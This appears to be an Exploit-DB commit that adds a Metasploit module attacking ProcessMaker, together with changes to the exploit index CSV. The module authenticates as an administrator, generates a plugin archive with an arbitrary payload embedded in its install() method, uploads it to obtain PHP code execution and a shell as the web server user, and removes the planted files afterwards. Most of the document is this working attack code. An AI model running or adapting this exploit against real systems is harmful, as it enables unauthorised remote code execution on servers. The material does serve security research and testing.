DB: 2018-04-05
1 changes to exploits/shellcodes Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2) Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (1) Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (2) ProcessMaker - Plugin Upload (Metasploit)
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Offensive Security
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2 changed files with 197 additions and 2 deletions
194
exploits/php/webapps/44399.rb
Executable file
194
exploits/php/webapps/44399.rb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ProcessMaker Plugin Upload',
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'Description' => %q{
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This module will generate and upload a plugin to ProcessMaker
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resulting in execution of PHP code as the web server user.
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Credentials for a valid user account with Administrator roles
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is required to run this module.
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This module has been tested successfully on ProcessMaker versions
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1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
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and version 3.2.0 on Debian Linux 8.
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},
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'License' => MSF_LICENSE,
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'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
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'References' =>
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[
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['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
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],
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'Payload' => { 'Space' => 20000 },
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic Targeting', {} ]],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 25 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
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OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
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OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
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])
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end
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def login(user, pass)
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vars_post = Hash[{
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'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
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'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')
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}.to_a.shuffle]
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print_status "Authenticating as user '#{user}'"
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uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"
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res = send_request_cgi 'method' => 'POST',
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'uri' => uri,
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'cookie' => @cookie,
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'vars_post' => vars_post
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if !res
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fail_with Failure::Unreachable, 'Connection failed'
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elsif res.code == 200 && res.body =~ /Loading styles and images/
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# ProcessMaker 2.x and 3.x
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print_good "#{peer} Authenticated as user '#{user}'"
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elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/
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# ProcessMaker 1.x
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print_good "#{peer} Authenticated as user '#{user}'"
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else
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fail_with Failure::NoAccess, "#{peer} - Authentication failed"
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end
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end
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def upload_plugin plugin_name
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data = generate_plugin plugin_name
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print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"
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# ProcessMaker 1.x requires "-" after the plugin name in the file name
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fname = "#{plugin_name}-.tar"
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boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
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post_data = "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"
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post_data << "\r\n\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"
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post_data << "\r\n[]\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"
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post_data << "Content-Type: application/x-tar\r\n"
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post_data << "\r\n#{data}\r\n"
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post_data << "--#{boundary}\r\n"
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uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'cookie' => @cookie,
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'data' => post_data
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}, 5)
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# Installation spawns a shell, preventing a HTTP response.
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# If a response is received, something probably went wrong.
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if res
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if res.headers['location'] =~ /login/
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fail_with Failure::NoAccess, 'Administrator privileges are required'
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else
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print_warning "#{peer} Unexpected reply"
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end
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end
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end
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def delete_plugin(plugin_name)
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uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"
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send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'cookie' => @cookie,
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'vars_post' => { 'pluginUid' => plugin_name }
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}, 5)
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end
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def generate_plugin(plugin_name)
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plugin_class = %Q|<?php
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class #{plugin_name}Class extends PMPlugin {
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function __construct() {
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set_include_path(
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PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .
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get_include_path()
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);
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}
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}
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plugin_php = %Q|<?php
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G::LoadClass("plugin");
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class #{plugin_name}Plugin extends PMPlugin
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{
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public function #{plugin_name}Plugin($sNamespace, $sFilename = null)
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{
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$res = parent::PMPlugin($sNamespace, $sFilename);
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$this->sFriendlyName = "#{plugin_name}";
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$this->sDescription = "#{plugin_name}";
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$this->sPluginFolder = "#{plugin_name}";
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$this->sSetupPage = "setup";
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$this->iVersion = 1;
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$this->aWorkspaces = null;
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return $res;
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}
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public function setup() {}
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public function install() { #{payload.encoded} }
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public function enable() {}
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public function disable() {}
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}
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$oPluginRegistry =& PMPluginRegistry::getSingleton();
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$oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);
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tarfile = StringIO.new
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Rex::Tar::Writer.new tarfile do |tar|
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tar.add_file "#{plugin_name}.php", 0777 do |io|
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io.write plugin_php
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end
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tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
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io.write plugin_class
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end
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end
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tarfile.rewind
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tarfile.read
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end
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def cleanup
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delete_plugin @plugin_name
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end
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def exploit
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@workspace = datastore['WORKSPACE']
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@cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"
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login datastore['USERNAME'], datastore['PASSWORD']
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@plugin_name = rand_text_alpha rand(10) + 10
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upload_dir = "../../shared/sites/#{@workspace}/files/input/"
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register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"
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register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
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register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
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register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"
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upload_plugin @plugin_name
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end
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end
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@ -5919,8 +5919,8 @@ id,file,description,date,author,type,platform,port
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44375,exploits/xml/dos/44375.py,"Systematic SitAware - NVG Denial of Service",2018-03-30,2u53,dos,xml,
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44394,exploits/multiple/dos/44394.js,"Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion",2018-04-03,"Google Security Research",dos,multiple,
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44395,exploits/multiple/dos/44395.js,"Google Chrome V8 - 'Genesis::InitializeGlobal' Out-of-Bounds Read/Write",2018-04-03,"Google Security Research",dos,multiple,
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44396,exploits/windows/dos/44396.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)",2018-04-03,"Google Security Research",dos,windows,
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44397,exploits/windows/dos/44397.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2)",2018-04-03,"Google Security Research",dos,windows,
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44396,exploits/windows/dos/44396.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (1)",2018-04-03,"Google Security Research",dos,windows,
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44397,exploits/windows/dos/44397.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix) (2)",2018-04-03,"Google Security Research",dos,windows,
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3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
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4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
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12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
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@ -39097,3 +39097,4 @@ id,file,description,date,author,type,platform,port
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44391,exploits/php/webapps/44391.html,"OpenCMS 10.5.3 - Cross-Site Request Forgery",2018-04-02,"Sureshbabu Narvaneni",webapps,php,
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44392,exploits/php/webapps/44392.txt,"OpenCMS 10.5.3 - Cross-Site Scripting",2018-04-02,"Sureshbabu Narvaneni",webapps,php,
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44393,exploits/hardware/webapps/44393.sh,"Secutech RiS-11/RiS-22/RiS-33 - Remote DNS Change",2018-04-02,"Todor Donev",webapps,hardware,
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44399,exploits/php/webapps/44399.rb,"ProcessMaker - Plugin Upload (Metasploit)",2018-04-04,Metasploit,webapps,php,
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